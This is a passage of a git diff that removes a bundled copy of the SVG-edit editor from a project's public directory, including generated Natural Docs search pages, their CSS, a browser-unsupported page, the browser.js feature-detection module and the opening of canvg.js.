href="../files/svgcanvas-js.html#Selector.Selector.showGrips" target=_parent class=ISymbol>showGrips</a>, <span class=IParent>Selector.<wbr>Selector</span></div></div><div class=SRResult id=SR_smoothControlPoints><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.smoothControlPoints" target=_parent class=ISymbol>smoothControlPoints</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_snapToAngle><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.snapToAngle" target=_parent class=ISymbol>snapToAngle</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_SvgCanvas><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas" target=_parent class=ISymbol>SvgCanvas</a></div></div><div class=SRResult id=SR_svgCanvasToString><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.svgCanvasToString" target=_parent class=ISymbol>svgCanvasToString</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_svgToString><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.svgToString" target=_parent class=ISymbol>svgToString</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/NoResults.html b/public/svg-edit/docs/search/NoResults.html
deleted file mode 100644
index 02ce8886..00000000
--- a/public/svg-edit/docs/search/NoResults.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=NoMatches>No Matches</div></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/styles/main.css b/public/svg-edit/docs/styles/main.css
deleted file mode 100644
index 17e9cbc3..00000000
--- a/public/svg-edit/docs/styles/main.css
+++ /dev/null
@@ -1,767 +0,0 @@
-/*
-   IMPORTANT: If you're editing this file in the output directory of one of
-   your projects, your changes will be overwritten the next time you run
-   Natural Docs.  Instead, copy this file to your project directory, make your
-   changes, and you can use it with -s.  Even better would be to make a CSS
-   file in your project directory with only your changes, which you can then
-   use with -s [original style] [your changes].
-
-   On the other hand, if you're editing this file in the Natural Docs styles
-   directory, the changes will automatically be applied to all your projects
-   that use this style the next time Natural Docs is run on them.
-
-   This file is part of Natural Docs, which is Copyright (C) 2003-2008 Greg Valure
-   Natural Docs is licensed under the GPL
-*/
-
-body {
-    font: 10pt Verdana, Arial, sans-serif;
-    color: #000000;
-    margin: 0; padding: 0;
-    }
-
-.ContentPage,
-.IndexPage,
-.FramedMenuPage {
-    background-color: #E8E8E8;
-    }
-.FramedContentPage,
-.FramedIndexPage,
-.FramedSearchResultsPage,
-.PopupSearchResultsPage {
-    background-color: #FFFFFF;
-    }
-
-
-a:link,
-a:visited { color: #900000; text-decoration: none }
-a:hover { color: #900000; text-decoration: underline }
-a:active { color: #FF0000; text-decoration: underline }
-
-td {
-    vertical-align: top }
-
-img { border: 0;  }
-
-
-/*
-    Comment out this line to use web-style paragraphs (blank line between
-    paragraphs, no indent) instead of print-style paragraphs (no blank line,
-    indented.)
-*/
-p {
-    text-indent: 5ex; margin: 0 }
-
-
-/*  Opera doesn't break with just wbr, but will if you add this.  */
-.Opera wbr:after {
-	content: "\00200B";
-	}
-
-
-/*  Blockquotes are used as containers for things that may need to scroll.  */
-blockquote {
-    padding: 0;
-    margin: 0;
-    overflow: auto;
-    }
-
-
-.Firefox1 blockquote {
-    padding-bottom: .5em;
-    }
-
-/*  Turn off scrolling when printing.  */
-@media print {
-    blockquote {
-        overflow: visible;
-        }
-    .IE blockquote {
-        width: auto;
-        }
-    }
-
-
-
-#Menu {
-    font-size: 9pt;
-    padding: 10px 0 0 0;
-    }
-.ContentPage #Menu,
-.IndexPage #Menu {
-    position: absolute;
-    top: 0;
-    left: 0;
-    width: 31ex;
-    overflow: hidden;
-    }
-.ContentPage .Firefox #Menu,
-.IndexPage .Firefox #Menu {
-    width: 27ex;
-    }
-
-
-    .MTitle {
-        font-size: 16pt; font-weight: bold; font-variant: small-caps;
-        text-align: center;
-        padding: 5px 10px 15px 10px;
-        border-bottom: 1px dotted #000000;
-        margin-bottom: 15px }
-
-    .MSubTitle {
-        font-size: 9pt; font-weight: normal; font-variant: normal;
-        margin-top: 1ex; margin-bottom: 5px }
-
-
-    .MEntry a:link,
-    .MEntry a:hover,
-    .MEntry a:visited { color: #606060; margin-right: 0 }
-    .MEntry a:active { color: #A00000; margin-right: 0 }
-
-
-    .MGroup {
-        font-variant: small-caps; font-weight: bold;
-        margin: 1em 0 1em 10px;
-        }
-
-    .MGroupContent {
-        font-variant: normal; font-weight: normal }
-
-    .MGroup a:link,
-    .MGroup a:hover,
-    .MGroup a:visited { color: #545454; margin-right: 10px }
-    .MGroup a:active { color: #A00000; margin-right: 10px }
-
-
-    .MFile,
-    .MText,
-    .MLink,
-    .MIndex {
-        padding: 1px 17px 2px 10px;
-        margin: .25em 0 .25em 0;
-        }
-
-    .MText {
-        font-size: 8pt; font-style: italic }
-
-    .MLink {
-        font-style: italic }
-
-    #MSelected {
-        color: #000000; background-color: #FFFFFF;
-        /*  Replace padding with border.  */
-        padding: 0 10px 0 10px;
-        border-width: 1px 2px 2px 0; border-style: solid; border-color: #000000;
-        margin-right: 5px;
-        }
-
-    /*  Close off the left side when its in a group.  */
-    .MGroup #MSelected {
-        padding-left: 9px; border-left-width: 1px }
-
-    /*  A treat for Mozilla users.  Blatantly non-standard.  Will be replaced with CSS 3 attributes when finalized/supported.  */
-    .Firefox #MSelected {
-        -moz-border-radius-topright: 10px;
-        -moz-border-radius-bottomright: 10px }
-    .Firefox .MGroup #MSelected {
-        -moz-border-radius-topleft: 10px;
-        -moz-border-radius-bottomleft: 10px }
-
-
-    #MSearchPanel {
-        padding: 0px 6px;
-        margin: .25em 0;
-        }
-
-
-    #MSearchField {
-        font: italic 9pt Verdana, sans-serif;
-        color: #606060;
-        background-color: #E8E8E8;
-        border: none;
-        padding: 2px 4px;
-        width: 100%;
-        }
-    /* Only Opera gets it right. */
-    .Firefox #MSearchField,
-    .IE #MSearchField,
-    .Safari #MSearchField {
-        width: 94%;
-        }
-    .Opera9 #MSearchField,
-    .Konqueror #MSearchField {
-        width: 97%;
-        }
-    .FramedMenuPage .Firefox #MSearchField,
-    .FramedMenuPage .Safari #MSearchField,
-    .FramedMenuPage .Konqueror #MSearchField {
-        width: 98%;
-        }
-
-    /* Firefox doesn't do this right in frames without #MSearchPanel added on.
-        It's presence doesn't hurt anything other browsers. */
-    #MSearchPanel.MSearchPanelInactive:hover #MSearchField {
-        background-color: #FFFFFF;
-        border: 1px solid #C0C0C0;
-        padding: 1px 3px;
-        }
-    .MSearchPanelActive #MSearchField {
-        background-color: #FFFFFF;
-        border: 1px solid #C0C0C0;
-        font-style: normal;
-        padding: 1px 3px;
-        }
-
-    #MSearchType {
-        visibility: hidden;
-        font: 8pt Verdana, sans-serif;
-        width: 98%;
-        padding: 0;
-        border: 1px solid #C0C0C0;
-        }
-    .MSearchPanelActive #MSearchType,
-    /*  As mentioned above, Firefox doesn't do this right in frames without #MSearchPanel added on. */
-    #MSearchPanel.MSearchPanelInactive:hover #MSearchType,
-    #MSearchType:focus {
-        visibility: visible;
-        color: #606060;
-        }
-    #MSearchType option#MSearchEverything {
-        font-weight: bold;
-        }
-
-    .Opera8 .MSearchPanelInactive:hover,
-    .Opera8 .MSearchPanelActive {
-        margin-left: -1px;
-        }
-
-
-    iframe#MSearchResults {
-        width: 60ex;
-        height: 15em;
-        }
-    #MSearchResultsWindow {
-        display: none;
-        position: absolute;
-        left: 0; top: 0;
-        border: 1px solid #000000;
-        background-color: #E8E8E8;
-        }
-    #MSearchResultsWindowClose {
-        font-weight: bold;
-        font-size: 8pt;
-        display: block;
-        padding: 2px 5px;
-        }
-    #MSearchResultsWindowClose:link,
-    #MSearchResultsWindowClose:visited {
-        color: #000000;
-        text-decoration: none;
-        }
-    #MSearchResultsWindowClose:active,
-    #MSearchResultsWindowClose:hover {
-        color: #800000;
-        text-decoration: none;
-        background-color: #F4F4F4;
-        }
-
-
-
-
-#Content {
-    padding-bottom: 15px;
-    }
-
-.ContentPage #Content {
-    border-width: 0 0 1px 1px;
-    border-style: solid;
-    border-color: #000000;
-    background-color: #FFFFFF;
-    font-size: 9pt;  /* To make 31ex match the menu's 31ex. */
-    margin-left: 31ex;
-    }
-.ContentPage .Firefox #Content {
-    margin-left: 27ex;
-    }
-
-
-
-    .CTopic {
-        font-size: 10pt;
-        margin-bottom: 3em;
-        }
-
-
-    .CTitle {
-        font-size: 12pt; font-weight: bold;
-        border-width: 0 0 1px 0; border-style: solid; border-color: #A0A0A0;
-        margin: 0 15px .5em 15px }
-
-    .CGroup .CTitle {
-        font-size: 16pt; font-variant: small-caps;
-        padding-left: 15px; padding-right: 15px;
-        border-width: 0 0 2px 0; border-color: #000000;
-        margin-left: 0; margin-right: 0 }
-
-    .CClass .CTitle,
-    .CInterface .CTitle,
-    .CDatabase .CTitle,
-    .CDatabaseTable .CTitle,
-    .CSection .CTitle {
-        font-size: 18pt;
-        color: #FFFFFF; background-color: #A0A0A0;
-        padding: 10px 15px 10px 15px;
-        border-width: 2px 0; border-color: #000000;
-        margin-left: 0; margin-right: 0 }
-
-    #MainTopic .CTitle {
-        font-size: 20pt;
-        color: #FFFFFF; background-color: #7070C0;
-        padding: 10px 15px 10px 15px;
-        border-width: 0 0 3px 0; border-color: #000000;
-        margin-left: 0; margin-right: 0 }
-
-    .CBody {
-        margin-left: 15px; margin-right: 15px }
-
-
-    .CToolTip {
-        position: absolute; visibility: hidden;
-        left: 0; top: 0;
-        background-color: #FFFFE0;
-        padding: 5px;
-        border-width: 1px 2px 2px 1px; border-style: solid; border-color: #000000;
-        font-size: 8pt;
-        }
-
-    .Opera .CToolTip {
-        max-width: 98%;
-        }
-
-    /*  Scrollbars would be useless.  */
-    .CToolTip blockquote {
-        overflow: hidden;
-        }
-    .IE6 .CToolTip blockquote {
-        overflow: visible;
-        }
-
-    .CHeading {
-        font-weight: bold; font-size: 10pt;
-        margin: 1.5em 0 .5em 0;
-        }
-
-    .CBody pre {
-        font: 10pt "Courier New", Courier, monospace;
-        margin: 1em 0;
-        }
-
-    .CBody ul {
-        /*  I don't know why CBody's margin doesn't apply, but it's consistent across browsers so whatever.
-             Reapply it here as padding.  */
-        padding-left: 15px; padding-right: 15px;
-        margin: .5em 5ex .5em 5ex;
-        }
-
-    .CDescriptionList {
-        margin: .5em 5ex 0 5ex }
-
-        .CDLEntry {
-            font: 10pt "Courier New", Courier, monospace; color: #808080;
-            padding-bottom: .25em;
-            white-space: nowrap }
-
-        .CDLDescription {
-            font-size: 10pt;  /*  For browsers that don't inherit correctly, like Opera 5.  */
-            padding-bottom: .5em; padding-left: 5ex }
-
-
-    .CTopic img {
-        text-align: center;
-        display: block;
-        margin: 1em auto;
-        }
-    .CImageCaption {
-        font-variant: small-caps;
-        font-size: 8pt;
-        color: #808080;
-        text-align: center;
-        position: relative;
-        top: 1em;
-        }
-
-    .CImageLink {
-        color: #808080;
-        font-style: italic;
-        }
-    a.CImageLink:link,
-    a.CImageLink:visited,
-    a.CImageLink:hover { color: #808080 }
-
-
-
-
-
-.Prototype {
-    font: 10pt "Courier New", Courier, monospace;
-    padding: 5px 3ex;
-    border-width: 1px; border-style: solid;
-    margin: 0 5ex 1.5em 5ex;
-    }
-
-    .Prototype td {
-        font-size: 10pt;
-        }
-
-    .PDefaultValue,
-    .PDefaultValuePrefix,
-    .PTypePrefix {
-        color: #8F8F8F;
-        }
-    .PTypePrefix {
-        text-align: right;
-        }
-    .PAfterParameters {
-        vertical-align: bottom;
-        }
-
-    .IE .Prototype table {
-        padding: 0;
-        }
-
-    .CFunction .Prototype {
-        background-color: #F4F4F4; border-color: #D0D0D0 }
-    .CProperty .Prototype {
-        background-color: #F4F4FF; border-color: #C0C0E8 }
-    .CVariable .Prototype {
-        background-color: #FFFFF0; border-color: #E0E0A0 }
-
-    .CClass .Prototype {
-        border-width: 1px 2px 2px 1px; border-style: solid; border-color: #A0A0A0;
-        background-color: #F4F4F4;
-        }
-    .CInterface .Prototype {
-        border-width: 1px 2px 2px 1px; border-style: solid; border-color: #A0A0D0;
-        background-color: #F4F4FF;
-        }
-
-    .CDatabaseIndex .Prototype,
-    .CConstant .Prototype {
-        background-color: #D0D0D0; border-color: #000000 }
-    .CType .Prototype,
-    .CEnumeration .Prototype {
-        background-color: #FAF0F0; border-color: #E0B0B0;
-        }
-    .CDatabaseTrigger .Prototype,
-    .CEvent .Prototype,
-    .CDelegate .Prototype {
-        background-color: #F0FCF0; border-color: #B8E4B8 }
-
-    .CToolTip .Prototype {
-        margin: 0 0 .5em 0;
-        white-space: nowrap;
-        }
-
-
-
-
-
-.Summary {
-    margin: 1.5em 5ex 0 5ex }
-
-    .STitle {
-        font-size: 12pt; font-weight: bold;
-        margin-bottom: .5em }
-
-
-    .SBorder {
-        background-color: #FFFFF0;
-        padding: 15px;
-        border: 1px solid #C0C060 }
-
-    /* In a frame IE 6 will make them too long unless you set the width to 100%.  Without frames it will be correct without a width
-        or slightly too long (but not enough to scroll) with a width.  This arbitrary weirdness simply astounds me.  IE 7 has the same
-        problem with frames, haven't tested it without.  */
-    .FramedContentPage .IE .SBorder {
-        width: 100% }
-
-    /*  A treat for Mozilla users.  Blatantly non-standard.  Will be replaced with CSS 3 attributes when finalized/supported.  */
-    .Firefox .SBorder {
-        -moz-border-radius: 20px }
-
-
-    .STable {
-        font-size: 9pt; width: 100% }
-
-    .SEntry {
-        width: 30% }
-    .SDescription {
-        width: 70% }
-
-
-    .SMarked {
-        background-color: #F8F8D8 }
-
-    .SDescription { padding-left: 2ex }
-    .SIndent1 .SEntry { padding-left: 1.5ex }   .SIndent1 .SDescription { padding-left: 3.5ex }
-    .SIndent2 .SEntry { padding-left: 3.0ex }   .SIndent2 .SDescription { padding-left: 5.0ex }
-    .SIndent3 .SEntry { padding-left: 4.5ex }   .SIndent3 .SDescription { padding-left: 6.5ex }
-    .SIndent4 .SEntry { padding-left: 6.0ex }   .SIndent4 .SDescription { padding-left: 8.0ex }
-    .SIndent5 .SEntry { padding-left: 7.5ex }   .SIndent5 .SDescription { padding-left: 9.5ex }
-
-    .SDescription a { color: #800000}
-    .SDescription a:active { color: #A00000 }
-
-    .SGroup td {
-        padding-top: .5em; padding-bottom: .25em }
-
-    .SGroup .SEntry {
-        font-weight: bold; font-variant: small-caps }
-
-    .SGroup .SEntry a { color: #800000 }
-    .SGroup .SEntry a:active { color: #F00000 }
-
-
-    .SMain td,
-    .SClass td,
-    .SDatabase td,
-    .SDatabaseTable td,
-    .SSection td {
-        font-size: 10pt;
-        padding-bottom: .25em }
-
-    .SClass td,
-    .SDatabase td,
-    .SDatabaseTable td,
-    .SSection td {
-        padding-top: 1em }
-
-    .SMain .SEntry,
-    .SClass .SEntry,
-    .SDatabase .SEntry,
-    .SDatabaseTable .SEntry,
-    .SSection .SEntry {
-        font-weight: bold;
-        }
-
-    .SMain .SEntry a,
-    .SClass .SEntry a,
-    .SDatabase .SEntry a,
-    .SDatabaseTable .SEntry a,
-    .SSection .SEntry a { color: #000000 }
-
-    .SMain .SEntry a:active,
-    .SClass .SEntry a:active,
-    .SDatabase .SEntry a:active,
-    .SDatabaseTable .SEntry a:active,
-    .SSection .SEntry a:active { color: #A00000 }
-
-
-
-
-
-.ClassHierarchy {
-    margin: 0 15px 1em 15px }
-
-    .CHEntry {
-        border-width: 1px 2px 2px 1px; border-style: solid; border-color: #A0A0A0;
-        margin-bottom: 3px;
-        padding: 2px 2ex;
-        font-size: 10pt;
-        background-color: #F4F4F4; color: #606060;
-        }
-
-    .Firefox .CHEntry {
-        -moz-border-radius: 4px;
-        }
-
-    .CHCurrent .CHEntry {
-        font-weight: bold;
-        border-color: #000000;
-        color: #000000;
-        }
-
-    .CHChildNote .CHEntry {
-        font-style: italic;
-        font-size: 8pt;
-        }
-
-    .CHIndent {
-        margin-left: 3ex;
-        }
-
-    .CHEntry a:link,
-    .CHEntry a:visited,
-    .CHEntry a:hover {
-        color: #606060;
-        }
-    .CHEntry a:active {
-        color: #800000;
-        }
-
-
-
-
-
-#Index {
-    background-color: #FFFFFF;
-    }
-
-/*  As opposed to .PopupSearchResultsPage #Index  */
-.IndexPage #Index,
-.FramedIndexPage #Index,
-.FramedSearchResultsPage #Index {
-    padding: 15px;
-    }
-
-.IndexPage #Index {
-    border-width: 0 0 1px 1px;
-    border-style: solid;
-    border-color: #000000;
-    font-size: 9pt;  /* To make 27ex match the menu's 27ex. */
-    margin-left: 27ex;
-    }
-
-
-    .IPageTitle {
-        font-size: 20pt; font-weight: bold;
-        color: #FFFFFF; background-color: #7070C0;
-        padding: 10px 15px 10px 15px;
-        border-width: 0 0 3px 0; border-color: #000000; border-style: solid;
-        margin: -15px -15px 0 -15px }
-
-    .FramedSearchResultsPage .IPageTitle {
-        margin-bottom: 15px;
-        }
-
-    .INavigationBar {
-        font-size: 10pt;
-        text-align: center;
-        background-color: #FFFFF0;
-        padding: 5px;
-        border-bottom: solid 1px black;
-        margin: 0 -15px 15px -15px;
-        }
-
-    .INavigationBar a {
-        font-weight: bold }
-
-    .IHeading {
-        font-size: 16pt; font-weight: bold;
-        padding: 2.5em 0 .5em 0;
-        text-align: center;
-        width: 3.5ex;
-        }
-    #IFirstHeading {
-        padding-top: 0;
-        }
-
-    .IEntry {
-        font-size: 10pt;
-        padding-left: 1ex;
-        }
-    .PopupSearchResultsPage .IEntry {
-        font-size: 8pt;
-        padding: 1px 5px;
-        }
-    .PopupSearchResultsPage .Opera9 .IEntry,
-    .FramedSearchResultsPage .Opera9 .IEntry {
-        text-align: left;
-        }
-    .FramedSearchResultsPage .IEntry {
-        padding: 0;
-        }
-
-    .ISubIndex {
-        padding-left: 3ex; padding-bottom: .5em }
-    .PopupSearchResultsPage .ISubIndex {
-        display: none;
-        }
-
-    /*  While it may cause some entries to look like links when they aren't, I found it's much easier to read the
-         index if everything's the same color.  */
-    .ISymbol {
-        font-weight: bold; color: #900000  }
-
-    .IndexPage .ISymbolPrefix,
-    .FramedIndexPage .ISymbolPrefix {
-        font-size: 10pt;
-        text-align: right;
-        color: #C47C7C;
-        background-color: #F8F8F8;
-        border-right: 3px solid #E0E0E0;
-        border-left: 1px solid #E0E0E0;
-        padding: 0 1px 0 2px;
-        }
-    .PopupSearchResultsPage .ISymbolPrefix,
-    .FramedSearchResultsPage .ISymbolPrefix {
-        color: #900000;
-        }
-    .PopupSearchResultsPage .ISymbolPrefix {
-        font-size: 8pt;
-        }
-
-    .IndexPage #IFirstSymbolPrefix,
-    .FramedIndexPage #IFirstSymbolPrefix {
-        border-top: 1px solid #E0E0E0;
-        }
-    .IndexPage #ILastSymbolPrefix,
-    .FramedIndexPage #ILastSymbolPrefix {
-        border-bottom: 1px solid #E0E0E0;
-        }
-    .IndexPage #IOnlySymbolPrefix,
-    .FramedIndexPage #IOnlySymbolPrefix {
-        border-top: 1px solid #E0E0E0;
-        border-bottom: 1px solid #E0E0E0;
-        }
-
-    a.IParent,
-    a.IFile {
-        display: block;
-        }
-
-    .PopupSearchResultsPage .SRStatus {
-        padding: 2px 5px;
-        font-size: 8pt;
-        font-style: italic;
-        }
-    .FramedSearchResultsPage .SRStatus {
-        font-size: 10pt;
-        font-style: italic;
-        }
-
-    .SRResult {
-        display: none;
-        }
-
-
-
-#Footer {
-    font-size: 8pt;
-    color: #989898;
-    text-align: right;
-    }
-
-#Footer p {
-    text-indent: 0;
-    margin-bottom: .5em;
-    }
-
-.ContentPage #Footer,
-.IndexPage #Footer {
-    text-align: right;
-    margin: 2px;
-    }
-
-.FramedMenuPage #Footer {
-    text-align: center;
-    margin: 5em 10px 10px 10px;
-    padding-top: 1em;
-    border-top: 1px solid #C8C8C8;
-    }
-
-    #Footer a:link,
-    #Footer a:hover,
-    #Footer a:visited { color: #989898 }
-    #Footer a:active { color: #A00000 }
-
diff --git a/public/svg-edit/editor/browser-not-supported.html b/public/svg-edit/editor/browser-not-supported.html
deleted file mode 100644
index 3010fcf3..00000000
--- a/public/svg-edit/editor/browser-not-supported.html
+++ /dev/null
@@ -1,27 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-<meta http-equiv="Content-type" content="text/html;charset=UTF-8" />
-<meta http-equiv="X-UA-Compatible" content="chrome=1"/>
-<link rel="icon" type="image/png" href="images/logo.png"/>
-<link rel="stylesheet" href="svg-editor.css" type="text/css"/>
-<script type="text/javascript" src="jquery.js"></script>
-<title>Browser does not support SVG | SVG-edit</title>
-</head>
-<body>
-
-<div id="browser-not-supported">
-<img style="float:left;padding:10px;" src="images/logo.png" width="48" height="48" alt="SVG-edit logo" /><br />
-<p>Sorry, but your browser does not support SVG. Below is a list of alternate browsers and versions that support SVG and SVG-edit (from <a href="http://caniuse.com/#cats=SVG">caniuse.com</a>).</p>
-<p>Try the latest version of <a href="http://www.getfirefox.com">Firefox</a>, <a href="http://www.google.com/chrome/">Google Chrome</a>, <a href="http://www.apple.com/safari/download/">Safari</a>, <a href="http://www.opera.com/download/">Opera</a> or <a href="http://windows.microsoft.com/ie9">Internet Explorer<a/>.</p>
-<p>If you are unable to install one of these and must use an old version of Internet Explorer, you can install the <a href="http://code.google.com/chrome/chromeframe/">Google Chrome Frame plugin</a>.</p>
-
-<script type="text/javascript">
-var viewportHeight =(window.innerHeight ? window.innerHeight : $(window).height()) - 140;
-document.write('<iframe width="100%" height="'+viewportHeight+'" src="http://caniuse.com/#cats=SVG"></iframe>');
-</script>
-
-</div>
-
-</body>
-</html>
diff --git a/public/svg-edit/editor/browser.js b/public/svg-edit/editor/browser.js
deleted file mode 100644
index 960ef953..00000000
--- a/public/svg-edit/editor/browser.js
+++ /dev/null
@@ -1,172 +0,0 @@
-/**
- * Package: svgedit.browser
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Jeff Schiller
- * Copyright(c) 2010 Alexis Deveria
- */
-
-// Dependencies:
-// 1) jQuery (for $.alert())
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.browser) {
-	svgedit.browser = {};
-}
-var supportsSvg_ = (function() {
-        return !!document.createElementNS && !!document.createElementNS('http://www.w3.org/2000/svg', 'svg').createSVGRect;
-})();
-svgedit.browser.supportsSvg = function() { return supportsSvg_; }
-if(!svgedit.browser.supportsSvg()) {
-	window.location = "browser-not-supported.html";
-}
-else{
-
-var svgns = 'http://www.w3.org/2000/svg';
-var userAgent = navigator.userAgent;
-var svg = document.createElementNS(svgns, 'svg');
-
-// Note: Browser sniffing should only be used if no other detection method is possible
-var isOpera_ = !!window.opera;
-var isWebkit_ = userAgent.indexOf("AppleWebKit") >= 0;
-var isGecko_ = userAgent.indexOf('Gecko/') >= 0;
-var isIE_ = userAgent.indexOf('MSIE') >= 0;
-
-var supportsSelectors_ = (function() {
-	return !!svg.querySelector;
-})();
-
-var supportsXpath_ = (function() {
-	return !!document.evaluate;
-})();
-
-// segList functions (for FF1.5 and 2.0)
-var supportsPathReplaceItem_ = (function() {
-	var path = document.createElementNS(svgns, 'path');
-	path.setAttribute('d','M0,0 10,10');
-	var seglist = path.pathSegList;
-	var seg = path.createSVGPathSegLinetoAbs(5,5);
-	try {
-		seglist.replaceItem(seg, 0);
-		return true;
-	} catch(err) {}
-	return false;
-})();
-
-var supportsPathInsertItemBefore_ = (function() {
-	var path = document.createElementNS(svgns,'path');
-	path.setAttribute('d','M0,0 10,10');
-	var seglist = path.pathSegList;
-	var seg = path.createSVGPathSegLinetoAbs(5,5);
-	try {
-		seglist.insertItemBefore(seg, 0);
-		return true;
-	} catch(err) {}
-	return false;
-})();
-
-// text character positioning (for IE9)
-var supportsGoodTextCharPos_ = (function() {
-	var retValue = false;
-	var svgroot = document.createElementNS(svgns, 'svg');
-	var svgcontent = document.createElementNS(svgns, 'svg');
-	document.documentElement.appendChild(svgroot);
-	svgcontent.setAttribute('x', 5);
-	svgroot.appendChild(svgcontent);
-	var text = document.createElementNS(svgns,'text');
-	text.textContent = 'a';
-	svgcontent.appendChild(text);
-	var pos = text.getStartPositionOfChar(0).x;
-	document.documentElement.removeChild(svgroot);
-	return (pos === 0);
-})();
-
-var supportsPathBBox_ = (function() {
-	var svgcontent = document.createElementNS(svgns, 'svg');
-	document.documentElement.appendChild(svgcontent);
-	var path = document.createElementNS(svgns, 'path');
-	path.setAttribute('d','M0,0 C0,0 10,10 10,0');
-	svgcontent.appendChild(path);
-	var bbox = path.getBBox();
-	document.documentElement.removeChild(svgcontent);
-	return (bbox.height > 4 && bbox.height < 5);
-})();
-
-// Support for correct bbox sizing on groups with horizontal/vertical lines
-var supportsHVLineContainerBBox_ = (function() {
-	var svgcontent = document.createElementNS(svgns, 'svg');
-	document.documentElement.appendChild(svgcontent);
-	var path = document.createElementNS(svgns, 'path');
-	path.setAttribute('d','M0,0 10,0');
-	var path2 = document.createElementNS(svgns, 'path');
-	path2.setAttribute('d','M5,0 15,0');
-	var g = document.createElementNS(svgns, 'g');
-	g.appendChild(path);
-	g.appendChild(path2);
-	svgcontent.appendChild(g);
-	var bbox = g.getBBox();
-	document.documentElement.removeChild(svgcontent);
-	// Webkit gives 0, FF gives 10, Opera (correctly) gives 15
-	return (bbox.width == 15);
-})();
-
-var supportsEditableText_ = (function() {
-	// TODO: Find better way to check support for this
-	return isOpera_;
-})();
-
-var supportsGoodDecimals_ = (function() {
-	// Correct decimals on clone attributes (Opera < 10.5/win/non-en)
-	var rect = document.createElementNS(svgns, 'rect');
-	rect.setAttribute('x',.1);
-	var crect = rect.cloneNode(false);
-	var retValue = (crect.getAttribute('x').indexOf(',') == -1);
-	if(!retValue) {
-		$.alert("NOTE: This version of Opera is known to contain bugs in SVG-edit.\n\
-		Please upgrade to the <a href='http://opera.com'>latest version</a> in which the problems have been fixed.");
-	}
-	return retValue;
-})();
-
-var supportsNonScalingStroke_ = (function() {
-	var rect = document.createElementNS(svgns, 'rect');
-	rect.setAttribute('style','vector-effect:non-scaling-stroke');
-	return rect.style.vectorEffect === 'non-scaling-stroke';
-})();
-
-var supportsNativeSVGTransformLists_ = (function() {
-	var rect = document.createElementNS(svgns, 'rect');
-	var rxform = rect.transform.baseVal;
-	
-	var t1 = svg.createSVGTransform();
-	rxform.appendItem(t1);
-	return rxform.getItem(0) == t1;
-})();
-
-// Public API
-
-svgedit.browser.isOpera = function() { return isOpera_; }
-svgedit.browser.isWebkit = function() { return isWebkit_; }
-svgedit.browser.isGecko = function() { return isGecko_; }
-svgedit.browser.isIE = function() { return isIE_; }
-
-svgedit.browser.supportsSelectors = function() { return supportsSelectors_; }
-svgedit.browser.supportsXpath = function() { return supportsXpath_; }
-
-svgedit.browser.supportsPathReplaceItem = function() { return supportsPathReplaceItem_; }
-svgedit.browser.supportsPathInsertItemBefore = function() { return supportsPathInsertItemBefore_; }
-svgedit.browser.supportsPathBBox = function() { return supportsPathBBox_; }
-svgedit.browser.supportsHVLineContainerBBox = function() { return supportsHVLineContainerBBox_; }
-svgedit.browser.supportsGoodTextCharPos = function() { return supportsGoodTextCharPos_; }
-svgedit.browser.supportsEditableText = function() { return supportsEditableText_; }
-svgedit.browser.supportsGoodDecimals = function() { return supportsGoodDecimals_; }
-svgedit.browser.supportsNonScalingStroke = function() { return supportsNonScalingStroke_; }
-svgedit.browser.supportsNativeTransformLists = function() { return supportsNativeSVGTransformLists_; }
-
-}
-
-})();
diff --git a/public/svg-edit/editor/canvg/canvg.js b/public/svg-edit/editor/canvg/canvg.js
deleted file mode 100644
index bc0d9e37..00000000
--- a/public/svg-edit/editor/canvg/canvg.js
+++ /dev/null
@@ -1,2093 +0,0 @@
-/*
- * canvg.js - Javascript SVG parser and renderer on Canvas
- * MIT Licensed 
- * Gabe Lerner (gabelerner@gmail.com)
- * http://code.google.com/p/canvg/
- *
- * Requires: rgbcolor.js - http://www.phpied.com/rgb-color-parser-in-javascript/
- */
-if(!window.console) {
-	window.console = {};
-	window.console.log = function(str) {};
-	window.console.dir = function(str) {};
-}
-
-// <3 IE
-if(!Array.indexOf){
-	Array.prototype.indexOf = function(obj){
-		for(var i=0; i<this.length; i++){
-			if(this[i]==obj){
-				return i;
-			}
-		}
-		return -1;
-	}
-}
-
-(function(){
-	// canvg(target, s)
-	// target: canvas element or the id of a canvas element
-	// s: svg string or url to svg file
-	// opts: optional hash of options
-	//		 ignoreMouse: true => ignore mouse events
-	//		 ignoreAnimation: true => ignore animations
-	//		 renderCallback: function => will call the function after the first render is completed
-	//		 forceRedraw: function => will call the function on every frame, if it returns true, will redraw
-	this.canvg = function (target, s, opts) {
-		if (typeof target == 'string') {
-			target = document.getElementById(target);
-		}
-		
-		// reuse class per canvas
